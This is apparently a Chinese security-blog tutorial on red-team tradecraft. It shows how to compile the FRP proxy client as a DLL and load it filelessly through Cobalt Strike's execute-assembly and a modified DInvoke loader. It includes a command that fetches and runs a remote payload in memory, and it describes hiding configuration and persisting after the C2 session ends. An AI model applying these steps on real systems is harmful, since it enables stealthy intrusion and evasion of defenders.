freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Sangfor华中天慧:内存加载FRP的思考
T0ngF0ngNoe 2023-09-11 12:05:14 67786

0x0 思考

在应急中或者在红队之间对抗中,对于CS马和代理都是优先打击的目标。提高代理和马的隐蔽性,也由此至关重要,好了编不下去了,进入正题。

0X1 execute-assembly

在CS中存在这么一个模块,它可以允许从内存中读取shellcode并加载.NET程序集 或者从硬盘读取并加载.NET程序集。这样保证了程序不落地在内存中加载与执行

0X2 思路

由于execute-assembly的限制,只能加载1M内的程序,所以,直接加载FRP是不可行的。所以呢,让一个小于1M的程序,被execute-assembly加载执行,执行啥呢,执行内存加载frp。

大致的思路就是这样:

CS(execute-assembly) -> frpload.exe(memory load dll) -> frp.dll(online)

0X3 FRP生成DLL

将frp转为dll,进行标记

\frp\frp-0.35.1 -v1.5-dll\cmd\frpc\main.go

1694404635_64fe901b081493cda8c26.png!small?1694404636454

\frp-0.35.1 -v1.5-dll\cmd\frpc\sub\root.go

修改Execute函数,直接进入runClient,跳过rootCmd模块(获取参数)

1694404656_64fe90304a25293a28952.png!small?1694404657513

frp 编译成dll,大功告成。

go build -ldflags "-s -w" --buildmode=c-shared -trimpath -o main.dll main.go

0X4 验证一下

尝试使用.NET程序,常规加载下dll文件,看是否能够正常调用

1694404662_64fe90366ce81f5e60844.png!small?1694404663163

成功上线

1694404668_64fe903c2c95870da5852.png!small?1694404669072


0X5 内存加载dll

Git项目DInvoke,已经实现了内存加载dll,并调用dll功能

https://github.com/TheWover/DInvoke

修改部分代码,实现本地文件加载,和远程加载(不落地)

文件加载

参数化文件加载 --file xx.dll

1694404674_64fe90429b8fdbf91d25d.png!small?1694404675262

远程加载

参数化远程加载--url http://1.1.1.1/1.dll

1694404679_64fe9047844be507cda31.png!small?1694404679941

添加函数 MapModuleToMemoryUrl

1694404683_64fe904b256bbcbebf3a1.png!small?1694404683943

添加函数AllocateFileToMemoryUrl

1694404695_64fe90579fa2b36849cd6.png!small?1694404696012

添加函数Downloadbinarypefilebyhttp

1694404692_64fe9054f35a8dd374176.png!small?1694404694374

大功告成

0x6 试水

远程加载

1694404704_64fe9060f24860fd904d8.png!small?1694404705803

本地加载

1694404709_64fe9065618649c166730.png!small?1694404709582

CS尝试

1694404713_64fe906925d6afb484115.png!small?1694404714282

成功上线

在进程中,只有beacon.exe 起了子进程 调用rundll32

1694404725_64fe90751517ad95308cf.png!small?1694404726161

退出cs, 进程依然存在,frp 还活着

1694404732_64fe907c54f36de1f278c.png!small?1694404734361

0x7 参数化修改

由于C#加载器,在内存中加载dll文件,获取内存中dll 指定函数地址再进行调用,所以在参数传递这一块,尚未找到实现的手法。所以更换思路,将获取到的加密配置,直接落地到目的主机,让dll函数去读取加密的配置文件,然后再删除配置文件。从而实现参数化。

通过加密工具,对frp配置参数进行加密处理

效果演示

1694404738_64fe9082af0eeb8c8dec4.png!small?1694404738741

内存加载 加载器,加载器远程内存加载frp,将加密配置落地读取后删除。

execute-assembly DInvokeSU.exe --url http://192.168.124.1:8080/main.bin 加密配置 --key duxaz

1694404743_64fe9087732adaa905948.png!small?1694404744161

FRP读取配置

读取配置文件,随后删除配置,将加密配置传入Execute()

1694404747_64fe908bd5d63b2e0c344.png!small?1694404748412

修改结构体,将加密参数带入,后续调用函数

1694404751_64fe908fafa889ec6ab2f.png!small?1694404752502

加密配置,传入配置加载函数GetRenderedConfFromFile()

1694404756_64fe9094d3faa75510eb5.png!small?1694404757872

拼接配置文件,随后函数对配置数据进行赋值

1694404761_64fe9099c08b12dde5d0d.png!small?1694404764051

获取加密配置参数

参数获取加密配置参数,直接落地到Temp目录下,供frp读取

1694404763_64fe909bd6edbb53109c1.png!small?1694404764051

结束: 客户端和服务端均已经魔改,修改部分静态以及流量特征。

参考链接

https://github.com/TheWover/DInvoke

https://github.com/fatedier/frp

详细使用方式可查看:

https://github.com/T0ngF0ngnie/DInvokeFrp

# 工具 # 代理工具 # 红队攻防
本文为 T0ngF0ngNoe 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
T0ngF0ngNoe LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录